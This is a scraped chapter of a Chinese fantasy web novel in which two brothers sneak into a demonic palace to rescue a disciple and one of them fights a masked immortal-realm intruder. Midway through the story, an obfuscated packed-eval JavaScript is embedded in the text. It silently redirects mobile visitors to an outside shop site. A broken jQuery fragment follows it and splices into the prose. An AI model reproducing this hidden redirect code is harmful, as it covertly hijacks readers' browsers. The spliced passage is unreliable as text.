文趣网 > 其他小说 > 猫猫也能成为龙后吗? > 16.两波人撞上
    白日不便在玄阴宫寻人,烬庭一整晚都未睡,和烬赦交代完事情后就回到卧房倒头睡过去了。

    烬赦拿着烬庭塞到自己手里的四个肉包子回到自己的卧房内。

    走到床榻边,就看见一双睁着的圆溜溜的白金瞳孔。

    言湫睡得鬼迷日眼的,它努力把自己探出在外面的舌头收了回去。

    “喵呜——”它两只前爪抬起,伸了一个懒腰。

    一斜眼,就和烬赦对视上。

    言湫翻了个身子,它迷迷糊糊地,昨日发生了什么都给忘得差不多了,甚至都没想起来自己为什么在这里。

    “饿了吗?”烬赦拿出一个包子递到言湫嘴边。

    言湫努力撑着半边身子,嗅了嗅一股面食味的包子。

    是肉馅包子!

    言湫张大嘴巴,嗷呜一口就把包子皮咬了下来。

    它用牙齿叼着包子皮,又看看烬赦,一下子就把包子皮吐到了地上,直直朝着肉馅咬去。

    “喵——!”

    还没舔到一点肉馅的味道,言湫就被拎着皮抓住了脖颈。

    “不能浪费。”少年清冽嗓音响起,烬赦弯下腰捡起地上的包子皮,撕成一小块塞进言湫还张着的嘴巴里。

    言湫愣愣的,下意识嚼了一下,紧接着顿住。

    啊呸!

    它才不想吃包子皮!

    “把这一个包子吃完,中午带你去壁邪城的食肆内吃饭,这里的菜据说和阙月有不同。”烬赦把挂在言湫嘴边的包子皮往里面推了推。

    和阙月的菜不同?

    那是不是比阙月的菜还好吃!

    言湫倏地把一整个包子里吃完。

    结果就是想象很美好,现实很骨感。

    小三花看着眼前乌漆嘛黑的餐食,差点把早晨吃的包子都吐出来。

    这壁邪城的吃的怎么长这样?!

    言湫又呕又干吐的样子吸引了食肆内不少魔修的注意。

    好在烬赦提前易了容,那些人并没有注意到烬赦,就算有,也只是观察着行径离奇的小猫的主人是何方神圣。

    烬赦也颇有些吃不下去这食肆内的吃食,他用余光观察着周围的魔修,却发现他们吃下去竟然面无表情。

    “不想吃么?”烬赦把趴在地上吐的言湫抱在自己腿上,低声询问。

    言湫无力地点点脑袋。

    这里的吃的简直不是猫吃的啊!!!

    “那等会出去我再看看周围有没有能吃的东西。”烬赦说。

    他拿起筷著,夹了一点看不出究竟是什么食材做的菜,放进嘴里。

    好在味道并不算太过奇怪。

    为了不让周围的魔修起疑,烬赦硬是吃了好几口东西。

    言湫佩服地看着烬赦。

    这么难看的饭菜都能吃下去,烬赦还有什么不能忍下去的!

    烬赦咽下饭菜,拍了拍自己的胸口,轻咳了几声,拿起茶壶倒出一杯茶水在杯盏中。

    饮下味道清爽的茶水后,烬赦才缓过来一点。

    他抱起言湫,往食肆外走去。

    好在街边也有一些卖正常吃食的,烬赦在一家摊边面馆坐下,点了两碗面,又点了几份菜。

    他在指尖捏着诀,给烬庭传了密语。

    估摸着时辰,烬庭这个时间应该已经醒来了,总得让烬庭也吃顿午膳。

    菜先上来了,烬赦照例拿起小碗,给言湫夹了吃的。

    言湫见这里的饭菜是正常的,总算放心了一点。

    它还以为壁邪城内吃食全是适才看见的那种呢。

    小三花伸着舌头,美滋滋地吃起了饭菜。

    烬庭也很快赶到了烬赦在密语中说的地方,他赶来的时候面刚好被端上来,没有坨掉。

    “还记得二哥喜欢吃灵芝兔肉面呢?”烬庭抽出一双筷著,径直坐下就开始吃面。

    兔肉?!

    言湫震惊地眼神落在烬庭的身上。

    吃兔肉?!

    不会还吃猫肉吧?!

    言湫连吃的都不敢吃了,直直钻进烬赦的怀里。

    烬赦一猜就知道言湫是被烬庭的话吓到了,他看了一眼烬庭,说:“这是鸡肉。”

    “二哥不吃兔肉,他开玩笑的,也不吃猫肉。”烬赦指腹轻轻摸了一下言湫的脑袋。

    烬庭尬笑了几下,目光落在了烬赦怀里的言湫身上。

    倒是挺灵一猫。

    午后,烬赦和烬庭在客栈内商讨寻找白献一时。

    “子时出发去玄阴宫,”烬庭指尖用仙力凝成一片沙盘,化出玄阴宫的外貌,“这里就是外部,我能找的地方都找了,都没有找到了白献。”

    “今晚,我们去内部,你去东北方,我去西南方,分头行动。”

    烬赦点头,他看着趴在自己腿上的言湫,对言湫说:“今晚你一个在客栈内,天亮我就带吃的回来。”

    言湫虽说天真,但也知道自己晚上若是跟着烬赦只会是累赘。

    听上去他们口中那个白献就是很重要的弟子,还是救人比较要紧。

    “为了防止你又跑出去,到时候我会在卧房内弄一道屏障,乖乖睡觉,不要跑出去,知道吗?”烬赦戳戳言湫的脑门。

    言湫用爪子捂住自己被烬赦戳的地方,恹恹点头。

    玄阴宫。

    宫门是整块玄铁而铸,门上没有纹饰,只有两个兽首衔环,铜绿斑驳,站在瓦檐上都能感受到那股阴冷的寒气,带着些沉甸甸且刺骨的凉。

    子时,宫内不见灯火,却有光。

    那光不知从何而来,幽幽地弥漫在空气中,呈一种冷冽的青蓝色,照得一切都蒙上了霜。

    地面铺着青黑的玉石,映出路上走动的人影。

    烬庭和烬赦半蹲着身子守在瓦檐上,不知过了多久,终于没了脚步声。

    “我先去看一下。”烬庭偏头,对烬赦说道。

    话毕,他就跳了下去,站在地面朝四周探查了一番。

    “没人。”他捏着诀,用密语对烬赦说。

    烬赦也同样无声无息地落地。

    两人面上都带着面罩,烬庭看了眼方向,说:“就按白日说的那番,你东北,我西南。”

    “好。”烬赦只露出一双黑金瞳孔,轻声应道。

    两人都雷厉风行地分头行动。

    殿内穹顶上倒悬着冰棱,一根一根,森然如剑。

    烬赦迅疾地寻了一片范围,不知道这是什么殿,但这殿的诡谲气氛少不了半分,目之所及之处皆是空旷,一眼就能看出来此处藏不了人。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17627860|206174||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    白献能被藏到哪呢?

    玄阴宫的魔修带走白献就是为白献手中的药,那白献应当被关在修炼丹药的地方了。

    可问题就是,玄阴宫的内部这么大,他们并不知道哪里哪里是炼丹之处。

    烬赦又径直走着,忽然,他看见了什么,驻足停下。

    是一座比方才看见的宫殿都大的殿。

    两侧立着巨大的石柱,柱身隐隐泛着暗紫色的微光。柱与柱之间垂着黑色的纱幔,厚重而沉。

    大殿尽头是九级台阶,阶石漆黑如墨。台阶之上,宽大的座椅静静伫立。

    烬赦几乎是在一瞬间就明白过来,这里是他那二叔商讨仪事的地方。

    他放轻了脚步,走了进去。

    烬赦贴着殿柱的阴影,屏息前行。

    这鬼地方阴冷得渗骨,但烬赦并不想放过任何一个地方。

    毕竟若是白献仙修的体质暴露,他那二叔未必不会猜到白献龙宫的人。

    那就不妙了。

    如果真是这样,他二叔定会亲自把人关起来,引蛇入洞。

    骤然,殿内传来极轻的脚步声。

    烬赦耳朵动了一下。

    有人来了。

    他身形一缩,无声地翻上横梁,将自己藏入黑暗中。

    烬赦的眸子落在殿门的人影上。

    来人和他一样,穿着夜行服,认不出究竟是谁。

    看样子是和他一样潜入玄阴宫的。

    那人一进来,目光直直射向横梁上。

    “下来。”刻意压低的声音在殿内响起。

    烬赦没动。

    并不是他不想下来,而是对方出手太快。

    一道白光从那人袖中飞出,快如惊鸿,直击向横梁。

    少年翻身越下,白光擦着发稍掠过,击在身后的柱上,发出轻微的声响。

    烬赦瞳孔睁大,看向发出声音的地方。

    这人下手不知轻重,万一引来人了怎么办?

    要么是这人不怕,要么就是这人不知天高地厚。

    但目前看来,是前者。

    “仙界之人?”烬赦的视线落在那人腰间半露出来的玉令上,“这地方,你们也来?”

    “玄阴宫不是你该来的地方,”那人并没有正面回答烬赦的话,语气冷了下来,“速速离开,我不为难你。”

    烬赦想也知道不会听这人的话。

    “你这是在为难我?抱歉,我不会走。要走也是你走。”烬赦笑了一下,笑意未及眼底。

    两人对视,殿内的温度又降了几分。

    对面之人不再言语,抬手便是三道剑气,分取烬赦咽喉、心口、丹田。

    剑气凌厉却不带杀意。

    看样子没打算取命,只是想逼退烬赦。

    烬赦侧身躲过两道,抬手一掌拍开第三道,掌心乌光一闪,剑气刹那消融。

    他脚下未停,欺身而近,反手点上面前人的眉心。

    那人仰头避过,袖中滑出一柄短剑,剑身清光如冰,横在身前。

    烬赦的指尖点在剑脊上,发出清越的嗡鸣,火花四溅,两人各退三步。

    就在这一秒,那仙界之人兀的出手,扯掉烬赦的面罩。

    “烬赦?”

    不可置信的声音响起。